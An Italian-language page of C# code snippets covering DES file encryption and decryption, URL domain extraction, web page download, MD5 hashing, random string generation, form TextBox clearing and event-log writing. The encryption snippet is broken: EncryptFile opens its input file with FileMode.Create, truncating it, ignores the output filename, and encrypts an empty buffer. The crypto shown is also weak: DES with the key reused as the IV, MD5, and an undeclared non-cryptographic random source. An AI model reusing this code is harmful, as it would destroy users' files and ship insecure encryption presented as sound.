Utilizzare i seguenti Namespace:

using System;
using System.IO;
using System.Security;
using System.Security.Cryptography;
using System.Text;


I metodi mostrati di seguito utilizzano il componente CryptoStream.

public static void EncryptFile(string sInputFilename, string sOutputFilename, string sKey)
{
FileStream fsEncrypted = new FileStream(sInputFilename, FileMode.Create, FileAccess.ReadWrite);

DESCryptoServiceProvider DES = new DESCryptoServiceProvider();
DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey);
DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey);
ICryptoTransform desencrypt = DES.CreateEncryptor();
CryptoStream cryptostream = new CryptoStream(fsEncrypted, desencrypt, CryptoStreamMode.Write);

byte[] bytearrayinput = new byte[fsEncrypted.Length];
fsEncrypted.Read(bytearrayinput, 0, bytearrayinput.Length);
cryptostream.Write(bytearrayinput, 0, bytearrayinput.Length);
cryptostream.Close();
fsEncrypted.Close();
}

public static void DecryptFile(string sInputFilename, string sOutputFilename, string sKey)
{
DESCryptoServiceProvider DES = new DESCryptoServiceProvider();
DES.Key = ASCIIEncoding.ASCII.GetBytes(sKey);
DES.IV = ASCIIEncoding.ASCII.GetBytes(sKey);

FileStream fsread = new FileStream(sInputFilename, FileMode.Open, FileAccess.Read);
ICryptoTransform desdecrypt = DES.CreateDecryptor();

CryptoStream cryptostreamDecr = new CryptoStream(fsread, desdecrypt, CryptoStreamMode.Read);
StreamWriter fsDecrypted = new StreamWriter(sOutputFilename);
fsDecrypted.Write(new StreamReader(cryptostreamDecr).ReadToEnd());
fsDecrypted.Flush();
fsDecrypted.Close();
}

Continua a leggere!

Un esempio su come estrarre il nome del dominio da un indirizzo web.

- Il parametro Url specifica l'URL della pagina web.

public static string ExtractDomainNameFromURL(string Url)
{
if (!Url.Contains("://"))
Url = "http://" + Url;

return new Uri(Url).Host;
}



Anche se è un metodo più lento, mostro come fare la stessa cosa utilizzando le espressioni regolari:

public static string ExtractDomainNameFromURL(string Url)
{
return System.Text.RegularExpressions.Regex.Replace(
Url,
@"^([a-zA-Z]+:\/\/)?([^\/]+)\/.*?$",
"$2"
);
}

Continua a leggere!

Questo è un esempio su come salvare il contenuto di una pagina web in una stringa.

- Il parametro Url specifica l'URL della pagina web.

public string DownloadWebPage(string Url)
{
// Apre la connessione
HttpWebRequest WebRequestObject = (HttpWebRequest)HttpWebRequest.Create(Url);

// Si possono specificare i valori di un header aggiuntivo
// come l'user agent o il referer:
WebRequestObject.UserAgent = ".NET Framework/2.0";
WebRequestObject.Referer = "http://www.example.com/";

// Risposta della richiesta:
WebResponse Response = WebRequestObject.GetResponse();

// Apre lo stream:
Stream WebStream = Response.GetResponseStream();

// Crea un oggetto per la lettura:
StreamReader Reader = new StreamReader(WebStream);

// Legge l'intero contenuto dello stream:
string PageContent = Reader.ReadToEnd();

// Pulisce
Reader.Close();
WebStream.Close();
Response.Close();

return PageContent;
}

Continua a leggere!

Un semplice metodo per generare un hash MD5 da una stringa utilizzando un metodo di Encoding.

- Il parametro Input è la stringa data in input.
- Il parametro UseEncoding è il metodo di Encoding.

public static string CalculateMD5(string Input, Encoding UseEncoding)
{
System.Security.Cryptography.MD5CryptoServiceProvider CryptoService;
CryptoService = new System.Security.Cryptography.MD5CryptoServiceProvider();

byte[] InputBytes = UseEncoding.GetBytes(Input);
InputBytes = CryptoService.ComputeHash(InputBytes);
return BitConverter.ToString(InputBytes).Replace("-", "");
}


Un semplice metodo per generare un hash MD5 da una stringa utilizzando un encoding di default.

- Il parametro Input è la stringa data in input.

public static string CalculateMD5(string Input)
{
return CalculateMD5(Input, System.Text.Encoding.Default);
}

Continua a leggere!

Generazione di una stringa random di una determinata lunghezza.

- Il parametro size determina la dimensione della stringa.
- Il parametro lowerCase se true, genera una stringa in minuscolo.


public static string RandomString(int size, bool lowerCase)
{
StringBuilder RandStr = new StringBuilder(size);

// Ascii posizione iniziale (65 = A / 97 = a)
int Start = (lowerCase) ? 97 : 65;

// Aggiunge caratteri random
for (int i = 0; i < size; i++)
RandStr.Append((char)(26 * randomSeed.NextDouble() + Start));

return RandStr.ToString();
}


Generazione di un numero random.

- Il parametro Minimal determina il risultato minimo di numeri.
- Il parametro Maximal determina il risultato massimo di numeri.

public static int RandomNumber(int Minimal, int Maximal)
{
return randomSeed.Next(Minimal, Maximal);
}

Continua a leggere!

Per cancellare il testo di tutte le TextBox di un form, è possibile utilizzare questo codice:

private void clear_tBox()
{
foreach (Control c in this.Controls)
if (c is TextBox)
(c as TextBox).Clear();
}


Ovviamente se il TextBox è contenuto in un Panel, GroupBox, etc. è necessario specificare dove localizzare i controlli, quindi:

...
foreach (Control c in panel1.Controls)
...

Continua a leggere!


static void wLog(string msg)
{
try
{
if(!EventLog.SourceExists("Setup"))
{
EventLog.CreateEventSource("Setup", "DevEnne");
}
EventLog myLog = new EventLog();
myLog.Source = "Setup";

myLog.WriteEntry(msg, EventLogEntryType.Information);
}
catch
{
// gestione errori
}
}

Continua a leggere!